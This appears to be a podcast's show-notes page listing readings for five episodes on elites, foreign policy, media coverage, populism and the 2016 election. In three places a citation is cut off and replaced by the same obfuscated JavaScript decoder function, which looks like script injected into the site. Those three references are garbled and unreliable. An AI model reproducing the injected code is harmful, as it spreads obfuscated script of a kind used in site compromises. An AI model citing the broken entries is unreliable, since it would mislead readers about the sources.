This is Fine

Welcome to This Is Fine, episode 1.5: Trump of the Elites. Thank you very much for listening, Finers. Please subscribe to the podcast on iTunes or your favorite app, and share this link with your favorite Supreme Court appointee or lottery winner.

In this week’s podcast, we use Chris Hayes' Twilight of the Elites as a jumping off point for a discussion of elites, experts, and ways that we might improve institutional trust and accountability.

We’ll return in two weeks with This is Fine, episode 1.6, when we'll discuss the future of Democratic Party organizing.

Please send us listener questions or complaints (and guest requests) for This is Fine. For those of you calling your Senators and Representatives: Thank You.

Book reviewed:
* Chris Hayes, Twilight of the Elites: America After Meritocracy

Also mentioned (in order of discussion):
* Gaetano Mosca, The Ruling Class
* C. Wright Mills, The Power Elite
* Robert Michels, Political Parties
* George Orwell, 1984 (though it’s bad) and "Politics and the English Language" (which is good)
* Hannah Arendt, The Origins of Totalitarianism
* Joan Williams, "What So Many People Don’t Get About the U.S. Working Class"
* Joy Connolly, "The Romans Tried to Save the Republic from Men Like Trump. They Failed."
* Vladimir Nabokov, Speak Memory
* Michael Patrick King and Whitney Cummings, “Two Broke Girls” (CBS)
* Rick Perlstein, Before the Storm: Barry Goldwater and the Unmaking of American Consensus
* Lauren Rivera and Andras Tilcsik, “Class Advantage, Commitment Penalty”
* JD Vance, Hillbilly Elegy
* Jill Leovy, Ghettoside: A True Story of Murder in America

Welcome to This Is Fine, episode 1.4, no state solution Thank you very much for listening, Finers. Please subscribe to the podcast on iTunes or your favorite app, and share this link with your adult children and child-like adult acquaintances.

In this week’s podcast, we look at foreign policy in the Obama and Trump eras, asking whether Obama really constitutes a break from previous presidencies, when intervention might be justified, how much disruption we can expect from Trump, and whether there's any hope for Israel.

We'll return in two weeks with This is Fine, episode 1.5, on the genealogy of elites, where we'll discuss elitism and expertise.

Please send us listener questions or complaints (and guest requests) for This is Fine. Have a terrifying inauguration and for those of you marching in protest, godspeed.

Articles discussed in this episode:
* Jeffrey Goldberg, "The Obama Doctrine", The Atlantic
* David Samuels, "The Aspiring Novelist Who Became Obama's Foreign Policy Guru", The New York Times
* Andrew Bacevich, "function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6andrew-bacevich-the-us-in-the-middle-east-there-is-no-strategy.html">The US in the Middle East - "There Is No Strategy", Naked Capitalism

et cetera:
* Thomas Meaney, "So it Must Be Forever," London Review of Books
* Perry Anderson, American Foreign Policy and its Thinkers
* Andrew Bacevich, America's War for the Greater Middle East

Welcome to This Is Fine, episode 1.3, part 1: the media is the message. Thank you very much for listening, Finers. Please subscribe to the podcast on iTunes or your favorite app, and share the podcast with your fifth cousins and work spouses.

In this week’s podcast, we look at the Shorenstein Center's review of media coverage in the election, shake our heads in disbelief at the Times' need for approval and dismal new public editor, and ask if the media's coverage of Trump is newly dangerous or part of a continuum of decline in political reporting.

We'll return in two weeks with This is Fine, 1.3, part 2, where we cover fake news and the Frankfurt School.

Please send us listener questions for This is Fine, 1.4: no state solution, where we'll try to take on foreign policy in the Obama and Trump eras, and our problems with it. Have a wonderful New Year.

Studies from the Shorenstein Center discussed in this episode:

• "News Coverage of the 2016 General Election: How the Press Failed the Voters"
• function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6anders/">"Pre-Primary News Coverage of the 2016 Presidential Race: Trump’s Rise, Sanders’ Emergence, Clinton’s Struggle"

et cetera:

• Liz Spayd, "When the Language of Politics Becomes a Minefield," The New York Times
• Joshua Green, "This Man is the Most Dangerous Political Operative in America," Bloomberg Businessweek
• Eric Umansky interviews Brendan Nyhan, "How Journalists Need to Go Beyond Fact Checking Trump," ProPublica
• Rick Perlstein, "Meet the Press: The hustlers, hucksters, hacks, and cowards who helped elect Donald Trump," The Washington Spectator
• Steve Inskeep interviews Sarah Chayes, "Trump Offers Key Posts to Sen. Sessions, Rep. Pompeo, & Retired Lt. Gen. Flynn," NPR

Welcome to This Is Fine, Episode 1.2: Argumentum ad populum. Thank you very much for listening, Finers. Please subscribe to the podcast on iTunes or your favorite app, and share the podcast with your friends and frenemies.

In this week’s podcast, we share our origin story in Southern California; explore what populism is and if it can turn left (verdict: not an ambi-turner); make the case that a Nazi political theorist is not in the best position to diagnose liberalism's faults; and sketch out our visions of protest in the Trump era.

Please send us reader questions for This is Fine, 1.3: the media is the message, where we'll try to take on not only fake news and bullshit coverage, but also the way media outlets shape the meta-conversation: what is permissible to say about politics.

Articles discussed in this episode:

• Jedediah Purdy, "Populism's Two Paths" in The Nation
• Malloy Owen, "Don't Mourn, Repoliticize" in The Point Magazine

Books discussed:

• John Judis, The Populist Explosion
• Jan-Werner Müller, What is Populism?

et cetera:

• Judith Shklar, "Liberalism of Fear"
• Richard Rorty, Contingency, Irony, and Solidarity
• John Judis & Ruy Texeira, The Emerging Democratic Majority
• Benjamin McKean, "Toward an Inclusive Populism? On the Role of Race and Difference in Laclau’s Politics"
• Carl Schmitt
• Tim Schenk interviews K. Sabeel Rahman in Dissent, "Booked: The End of Managerial Liberalism"

Welcome to This Is Fine, episode 1.1: WTF? This is Not Fine! Thank you very much for listening.

In this week’s podcast, we ask:

How the fuck did that happen?  How heroic really were Wright Patman and other segregationist Democrats who fought against corporate power until the changing of the Democratic guard in the 1970s?  How did Trump make hate taste so great to so many?  And what are our views of the horrific near future and how we might combat it?

Remember: please try to not kill your relatives at Thanksgiving, and please send us reader questions for This is Fine, 1.2: argumentum ad populum, where we say populism out loud a thousand times until it becomes a meaningless collection of syllables.

Articles discussed in this episode:

• Matt Stoller, "How Democrats Kiled Their Populist Soul"
• Rembert Browne, "How Trump Made Hate Intersectional"

Books discussed

• Arlie Hochschild, function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6and-Mourning-ebook/dp/B01EEQ9BSW/ref=tmm_kin_swatch_0">Strangers in Their Own Land: Anger and Mourning on the American Right
• Suzanne Mettler, The Submerged State: How Invisible Government Polices Undermine American Democracy

Data referenced

• Jerry Vinokurov's turnout plots
• Dave Wasserman's (@redistrict) popular vote count

Also mentioned

• Chuck Schumer on the suburban vote:
• Richard Hofstadter, "The Paranoid Style in American Politics" and "What Happened to the Anti-trust Movement?"
  The second article can be found in the published version of The Paranoid Style in American Politics but does not seem to be available on the web.
• The "southern manifesto"
• The Roosevelt Institute, "leveling the playing field is critical to a party platform"
• Emily Crockett, "why misogyny won"
• Alex MacGillis's series on Dayton, Ohio
• Masha Gessen, "Autocracy: Rules for Survival"